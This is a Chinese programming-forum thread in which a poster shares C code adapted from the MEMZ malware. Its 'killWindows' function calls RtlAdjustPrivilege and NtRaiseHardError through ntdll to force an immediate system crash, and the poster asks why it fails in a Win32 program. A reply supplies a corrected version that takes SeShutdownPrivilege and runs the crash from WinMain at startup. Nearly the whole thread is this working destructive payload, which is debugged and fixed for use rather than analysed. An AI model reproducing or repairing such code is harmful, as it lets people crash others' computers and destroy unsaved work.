关于raiseharderror在Win32程序中调用无效的问题

31207

这是我从彩虹猫源码中拷贝的死机代码（有改动）

1. #include<Windows.h>
   
2. #define fun_RtlAdjustPrivilege ((NTSTATUS(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)//宏定义，方便调用
   
3. #define fun_NtRaiseHardError ((NTSTATUS(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)
   
4. 
   
5. void killWindows()
   
6. {
   
7.     HMODULE ntdll = LoadLibraryA("ntdll");//加载ntdll.dll
   
8.     FARPROC RtlAdjustPrivilege = GetProcAddress(ntdll, "RtlAdjustPrivilege");//从ntdll.dll中提取出这两个函数的入口地址
   
9.     FARPROC NtRaiseHardError = GetProcAddress(ntdll, "NtRaiseHardError");
   
10. 
    
11.     if (RtlAdjustPrivilege != NULL && NtRaiseHardError != NULL)//如果两个都提取成功了，则执行
    
12.     {
    
13.         BOOLEAN tmp1; DWORD tmp2;
    
14.         fun_RtlAdjustPrivilege(0x19, true, 0, &tmp1);//提升权限
    
15.         fun_NtRaiseHardError(0xc0000022, 0, 0, 0, 6, &tmp2);//使电脑死机
    
16.     }
    
17.     else
    
18.     {
    
19.         MessageBox(NULL, L"执行失败！", L"提示", NULL);
    
20.     }
    
21. }
    

复制代码

这段代码，在控制台程序中可以成功执行，不用给管理员权限。而在win32程序中无效，也不是提取入口地址失败。大佬们可以解答一下吗？

人造人

1. #include <Windows.h>
   
2. #include <stdbool.h>
   
3. 
   
4. #define fun_RtlAdjustPrivilege ((NTSTATUS(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)//宏定义，方便调用
   
5. #define fun_NtRaiseHardError ((NTSTATUS(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)
   
6. 
   
7. void killWindows()
   
8. {
   
9.     HMODULE ntdll = LoadLibraryA("ntdll");//加载ntdll.dll
   
10.     FARPROC RtlAdjustPrivilege = GetProcAddress(ntdll, "RtlAdjustPrivilege");//从ntdll.dll中提取出这两个函数的入口地址
    
11.     FARPROC NtRaiseHardError = GetProcAddress(ntdll, "NtRaiseHardError");
    
12. 
    
13.     if (RtlAdjustPrivilege != NULL && NtRaiseHardError != NULL)//如果两个都提取成功了，则执行
    
14.     {
    
15.         BOOLEAN tmp1; DWORD tmp2;
    
16.         // 提升权限
    
17.         // 0x13 = SeShutdownPrivilege
    
18.         fun_RtlAdjustPrivilege(0x13, true, 0, &tmp1);
    
19.         // 使电脑死机
    
20.         // 0x06 = OptionShutdownSystem
    
21.         fun_NtRaiseHardError(0xc0000022, 0, 0, 0, 6, &tmp2);
    
22.     }
    
23.     else
    
24.     {
    
25.         //MessageBox(NULL, L"执行失败！", L"提示", NULL);
    
26.         MessageBox(NULL, "执行失败！", "提示", MB_OK);
    
27.     }
    
28. }
    
29. 
    
30. /*
    
31. int main(void) {
    
32.     killWindows();
    
33.     return 0;
    
34. }
    
35. */
    
36. 
    
37. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
    
38. {
    
39.     killWindows();
    
40.     return 0;
    
41. }
    

复制代码